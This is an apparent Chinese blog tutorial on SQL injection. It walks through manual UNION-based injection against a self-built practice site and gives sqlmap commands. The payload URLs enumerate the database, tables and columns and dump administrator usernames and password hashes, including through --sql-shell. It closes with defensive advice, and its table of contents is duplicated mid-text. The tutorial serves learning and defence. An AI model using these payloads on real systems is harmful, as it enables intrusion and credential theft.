SQL注入(SQL Injection) 初学习

目录

1. 什么是SQLi?

2. SQLi危害?

3. 手工联合查询注入思路步骤

(1)找到注入点

(2)猜测后端查询语句,判断列数

(3)联合查询

(4)使用database()函数替换3的位置,查询出数据库的名称

  (5)   查询表名

(6)查询t_admin的列名

(7) 构造密码查询语句

4. 工具:SQLMAP

实例:通过SQL-Map工具获取到管理员的密码hash

(1)查库名

 (2)查表名

 (3)查列名

 (4)进入sql-shell

 (5)查记录

5.SQLi的防护思路:


1. 什么是SQLi

后端将前端提交的查询参数拼接到代码的 SQL 语句模板中进行查询,当攻击者提交带有非预期 sql 查询片 段时,导致数据库被意外查询。

2. SQLi危害?

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统

3. 手工联合查询注入思路步骤

(1)找到注入点

此处向后端数据库传入了参数,有可以利用的漏洞

(2)猜测后端查询语句,判断列数

select * from t_xx where id = 1 order by 5

 当列数为6时失败,而5成功,说明后端数据库的列数为5.

(3)联合查询

构造不存在的左联合查询条件、并确定显示位, 让数据库每列对应的位置显示在前端界面中
http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,3,4,5

(4)使用database()函数替换3的位置,查询出数据库的名称

http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,3,4,5

可知数据库的名称为double_fish 

(5)

目录

1. 什么是SQLi?

2. SQLi危害?

3. 手工联合查询注入思路步骤

(1)找到注入点

(2)猜测后端查询语句,判断列数

(3)联合查询

(4)使用database()函数替换3的位置,查询出数据库的名称

  (5) 查询表名

(6)查询t_admin的列名

(7) 构造密码查询语句

4. 工具:SQLMAP

实例:通过SQL-Map工具获取到管理员的密码hash

 (1)查库名

 (2)查表名

 (3)查列名

 (4)进入sql-shell

 (5)查记录


查询表名

select table_name from information_schema.tables where table_schema ='double_fish'

 http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,2,table_name,4,5 from information_schema.tables where table_schema =

'double_fish'

 

使用聚合函数group_connect()返回所有表的表名

(6)查询t_admin的列名

select column_name from information_schema.columns 
where table_schema='double_fish' and table_name = 't_admin'

 拼接后

http://www .wabjtam.ml : 12380 /News/newsView .php ?newsId =- 1 union select
1 , 2 , group_concat ( column_name ) , 4 , 5 from information_schema .columns where
table_schema = 'double_fish' and table_name = 't_admin'

(7) 构造密码查询语句

SELECT username, password from t_admin; 1

拼接后:

http://www.wabjtam.ml:12380/News/newsView.php?newsId=-1 union select 1,username, password,4,5 from t_admin

 

 得到了用户名和密码的hash值

4. 工具:SQLMAP

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

参考链接:https://blog.csdn.net/m0_64378913/article/details/124439539

实例:通过SQL-Map工具获取到管理员的密码hash

演示使用的是自搭建靶场

(1)查库名

-u 目标地址

--current-db 获取当前数据库

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 --current-db

运行结果:

 (2)查表名

-D double_fish --tables 获取数据库double_fish中所有表的信息

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 -D double_fish --tables

运行结果:

 (3)查列名

-D double_fish -T t_admin --columns 获取数据库登录表的所有字段

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php?newsId=1 -D double_fish -T t_admin --columns

运行结果:

 (4)进入sql-shell

python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php? newsId=1 --sql-shell

 运行结果:

 (5)查记录

SELECT username,password from t_admin;

运行结果:

5.SQLi的防护思路:

  • 为每个网站单独建立用户,最小化dbms和其中用户的权限
  • 正确地采用安全的数据库连接方式,如php中的PDO或MySQLi
  • 采用成熟的防注入的框架(参考OWASP网站、或者Discuzz及WordPress等的防注入手段)
  • 细节上:
  •    - 对于提交的数字型参数,需严格限定数据类型;
  •    - 特殊的字符转义
  •    - 避免存储过程出现注入
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值